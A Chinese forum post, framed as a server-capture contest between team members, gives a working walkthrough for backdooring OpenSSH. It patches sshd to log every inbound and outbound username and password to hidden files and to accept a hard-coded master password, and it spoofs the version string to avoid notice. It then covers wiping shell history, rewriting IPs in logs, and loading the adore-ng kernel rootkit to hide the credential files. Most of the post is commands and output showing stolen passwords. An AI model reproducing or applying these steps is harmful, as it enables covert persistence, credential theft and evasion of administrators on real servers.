擂台赛-安全攻防之使用openssh后门获取root密码实战

打印 上一主题 下一主题

主题 843|帖子 843|积分 2529

前言

大家好,我是沐风晓月,我们开始组队学习了,介绍下我们的情况:
这几天跟队员 迎月,虹月,心月,古月打擂台,我和心月一组,相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。
接下来我们第一想做的就是怎样维持这个权限,还要不被对方发现。
关于维持权限,我们第一时间想到的就是在对方服务器留下一个后门,搜索了许多资料,发现这个openssh的后门正合我意。
于是开干。。。

  

一. 设置实验情况

为了确保修改对方openssh后,还能不被古月她们发现,我们先查抄了对方服务器的ssh版本和gcc版本

  • 查抄ssh 版本
  1. [root@mufeng ~]# ssh -v
  2. OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
复制代码

  • 查抄gcc是否已经安装
  1. [root@mufeng ~]# yum install gcc gcc-c++ -y
复制代码
然后开始上环我们需要的包,安装完成后,再把包全部删掉即可:

  • 上传我们需要的包
上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/software目次
  1. [root@mufeng ~]# mkdir /software
  2. [root@mufeng ~]# cd !$
  3. cd /software
  4. [root@mufeng software]# yum install lr* -y &>/dev/null && echo "ok"
  5. ok
  6. [root@mufeng software]# rz   ## 上传软件包
  7. [root@mufeng software]# ls
  8. 0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
  9. inotify-tools-3.13.tar.gz        sshpass-1.06.tar.gz
复制代码
上传完成包之后,开始对打补丁并举行安装:
二. 对openssh-5.9p1 打后门漏洞补丁

2.1 解压

  1. [root@mufeng software]# tar xf openssh-5.9p1.tar.gz
  2. You have mail in /var/spool/mail/root
  3. [root@mufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz
  4. [root@mufeng software]# ls
  5. 0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1        openssh-5.9p1.tar.gz
  6. inotify-tools-3.13.tar.gz        openssh-5.9p1.patch  sshpass-1.06.tar.gz
  7. [root@mufeng software]#
复制代码
2.2 打补丁

  1. [root@mufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1/
  2. [root@mufeng software]# cd !$
  3. cd openssh-5.9p1/
  4. [root@mufeng openssh-5.9p1]# patch < sshbd5.9p1.diff
  5. patching file auth.c  # 认证
  6. patching file auth-pam.c # 认证
  7. patching file auth-passwd.c # 认证
  8. patching file canohost.c
  9. patching file includes.h
  10. patching file log.c
  11. patching file servconf.c  # 关于ssh 服务器
  12. patching file sshconnect2.c  ## ssh 连接
  13. patching file sshlogin.c  ## 关于登录,记录root密码
  14. patching file version.h  ## 关于版本
复制代码
2.3 修改后门密码和记载位置

  1. [root@mufeng openssh-5.9p1]# tail -6 includes.h
  2. int secret_ok;
  3. FILE *f;
  4. #define ILOG "/tmp/ilog"  ## 记录登录到本机的用户名和密码
  5. #define OLOG "/tmp/olog" #  记录本机登录其他服务器用户名和密码
  6. #define SECRETPW "mufeng123" # 后门密码
  7. #endif /* INCLUDES_H */
  8. [root@mufeng openssh-5.9p1]#
复制代码
修改版本号(修改的和原来一致)
  1. [root@mufeng openssh-5.9p1]# cat version.h
  2. /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
  3. #define SSH_VERSION        "OpenSSH_5.3"
  4. #define SSH_PORTABLE        "p1"
  5. #define SSH_RELEASE        SSH_VERSION SSH_PORTABLE
  6. [root@mufeng openssh-5.9p1]#
复制代码

2.4 安装打了后门补丁的sshd服务

  1. [root@mufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel >/root/instal.txt && echo "ok"
复制代码
开始编译安装
  1. [root@mufeng openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
  2. [root@mufeng openssh-5.9p1]# make && make install
复制代码
2.5 启动并查看版本号

  1. [root@mufeng openssh-5.9p1]# service sshd restart
  2. 停止 sshd:                                                [确定]
  3. 正在启动 sshd:                                            [确定]
  4. [root@mufeng openssh-5.9p1]# ssh -V
  5. OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
复制代码
这里一定要设置的与ssh原来的版本号一致,要否则就暴露了。
三. 测试

测试重要基于以下几点:

  • 测试是否可以记载对方登录服务器的账号和密码
  • 测试在用户修改密码后,还能继承记载账号和密码
  • 测试是否可以记载寻常用户的密码
  • 测试是否可以使用后门漏洞密码登录系统
3.1 测试可否记载用户名和密码

  1. root@mufeng tmp]# ssh 192.168.1.43
  2. The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
  3. ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.
  4. Are you sure you want to continue connecting (yes/no)? yes
  5. Warning: Permanently added '192.168.1.43' (ECDSA) to the list of known hosts.
  6. root@192.168.1.43's password:
  7. Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4
  8. [root@mufeng ~]# exit
  9. logout
  10. Connection to 192.168.1.43 closed.
  11. [root@mufeng tmp]# ls
  12. ilog            olog            
  13. ##查看是否可以记录密码
  14. [root@mufeng tmp]# cat ilog
  15. user:password --> root:12345678
  16. ## 包含用户名+密码+IP
  17. [root@mufeng tmp]# cat olog
  18. user:password@host --> root:12345678@192.168.1.43
  19. [root@mufeng tmp]#
复制代码
以上证明白,可以记载对方的账号和密码
3.2 修改了密码还可否记载

测试过程代码:
  1. [root@mufeng tmp]# echo 1234567890 |passwd --stdin root
  2. 更改用户 root 的密码 。
  3. passwd: 所有的身份验证令牌已经成功更新。
  4. [root@mufeng tmp]# ssh 192.168.1.43
  5. root@192.168.1.43's password:
  6. Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43
  7. [root@mufeng ~]# exit
  8. logout
  9. Connection to 192.168.1.43 closed.
  10. [root@mufeng tmp]# cat olog
  11. user:password@host --> root:12345678@192.168.1.43
  12. user:password@host --> root:1234567890@192.168.1.43
  13. [root@mufeng tmp]# cat ilog
  14. user:password --> root:12345678
  15. user:password --> root:1234567890
  16. [root@mufeng tmp]#
复制代码
以上证明白纵然对方修改了密码,也一样可以记载。
3.3 .可否记载寻常用户密码

  1. [root@mufeng tmp]# useradd mufeng
  2. [root@mufeng tmp]# echo 123456 |passwd --stdin mufeng
  3. 更改用户 mufeng 的密码 。
  4. passwd: 所有的身份验证令牌已经成功更新。
  5. [root@mufeng tmp]# ssh mufeng@192.168.1.43
  6. mufeng@192.168.1.43's password:
  7. [mufeng@mufeng ~]$ whoami
  8. mufeng
  9. [mufeng@mufeng ~]$ exit
  10. logout
  11. Connection to 192.168.1.43 closed.
  12. [root@mufeng tmp]# cat ilog
  13. user:password --> root:12345678
  14. user:password --> root:1234567890
  15. user:password --> mufeng:123456
  16. [root@mufeng tmp]# cat olog
  17. user:password@host --> root:12345678@192.168.1.43
  18. user:password@host --> root:1234567890@192.168.1.43
  19. user:password@host --> mufeng:123456@192.168.1.43
  20. [root@mufeng tmp]#
复制代码
以上代码成功的记载了,对方使用寻常用户登录时的用户名和密码
3.4 测试 后门密码是否可以登录

  1. [root@mufeng tmp]# cat olog
  2. user:password@host --> root:12345678@192.168.1.43
  3. user:password@host --> root:1234567890@192.168.1.43
  4. user:password@host --> mufeng:123456@192.168.1.43
  5. [root@mufeng tmp]# ssh root@192.168.1.43
  6. root@192.168.1.43's password:
  7. Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43
  8. [root@mufeng ~]# exit
  9. logout
  10. Connection to 192.168.1.43 closed.
  11. [root@mufeng tmp]# cat olog
  12. user:password@host --> root:12345678@192.168.1.43
  13. user:password@host --> root:1234567890@192.168.1.43
  14. user:password@host --> mufeng:123456@192.168.1.43
  15. user:password@host --> root:mufeng123@192.168.1.43
  16. [root@mufeng tmp]#
复制代码

3.5 清算本次登录的脚迹

一定要清除掉自己登录的IP信息
  1. [root@mufeng ~]# export HISTFILE=/dev/null
  2. You have mail in /var/spool/mail/root
  3. [root@mufeng ~]# export HISTSIZE=
  4. [root@mufeng ~]# export HISTFILESIZE=
  5. [root@mufeng ~]# echo >/root/.bash_history
  6. # 这种清除方式,要确保一开始没有历史记录,如果有历史记录,可以用sed的方式替换
  7. [root@mufeng ~]# sed -i 's/192.168.1.43/127.0.0.1/g' /root/.bash_history
  8. ## 其他访问日志也可以用用sed替换ip , 瞒天过海
复制代码
接下来要把天生的文件举行隐藏,本次隐藏,我们沐风晓月组采用的是adore-ng, 这个工具是以模块的方式运行的,就类似于你电脑上的声卡,只要隐藏的好很难被发现。
这里我只写对两个文件/tmp/olog和/tmp/ilog举行隐藏,其他的文件和目次也是同样的方法。
四. 安装adore-ng

4.1 安装的过程



  • 安装依赖包
  1. [root@mufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm
  2. warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
  3. Preparing...                ########################################### [100%]
  4.    1:kernel-devel           ########################################### [100%]
复制代码


  • 上传需要adore-ng
  1. [root@mufeng ~]# rz
  2. 解压
  3. [root@mufeng ~]# unzip adore-ng-master.zip
  4. [root@mufeng ~]# cd adore-ng-master
  5. [root@mufeng adore-ng-master]# ls
  6. adore-ng.c  ava.c           libinvisible.h  Makefile
  7. adore-ng.h  libinvisible.c  LICENSE         README.md
复制代码


  • 开始安装
  1. 安装
  2. [root@mufeng adore-ng-master]# make
  3. 加载模块
  4. [root@mufeng adore-ng-master]# insmod adore-ng.ko
  5. [root@mufeng adore-ng-master]#
复制代码


  • 查看下令是否安装
  1.   [root@mufeng adore-ng-master]# ./ava h
  2.     Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
  3.       I print info (secret UID etc)
  4.        h hide file  # 隐藏文件
  5.        u unhide file  ## 不隐藏
  6.        r execute as root  ## 像root一样去运行
  7.        R remove PID forever
  8.        U uninstall adore
  9.        i make PID invisible  ## 隐藏进程
  10.        v make PID visible
复制代码
4.2 隐藏文件

需要隐藏 ilog, olog
  1. [root@mufeng adore-ng-master]# ./ava h /tmp/ilog  
  2. 56,0,0,56
  3. Adore 1.56 installed. Good luck.
  4. File '/tmp/ilog' is now hidden.
  5. [root@mufeng adore-ng-master]#
  6. [root@mufeng adore-ng-master]# ./ava h /tmp/olog
  7. 56,0,0,56
  8. Adore 1.56 installed. Good luck.
  9. File '/tmp/olog' is now hidden.
复制代码
查看是否隐藏成功:

4.3 测试文件是否还能被找到



  • 使用find查找
  1. [root@mufeng tmp]# find ./ -mtime -1
  2. ./
  3. ./orbit-root
  4. ./orbit-root/linc-f46-0-4088aa9a676df
  5. ./gconfd-root
  6. ./gconfd-root/saved_state_db283d80792451243e0a59a40000002b
复制代码
发现无法找到文件了
但当我们直接使用文件名查看内容的时候,还是可以查看的,说明文件并不是被删除了,而是被隐藏了

总结

虹月组目前还未发现他们的服务已经被植入后门漏洞,今天心月提到可以再加上一个功能:邮件发送功能,实现当虹月组登录服务器,就能收到信息。
听起来是个好主意,下次补上。
好了以上是本文的全部内容,下次再见吧。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

前进之路

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表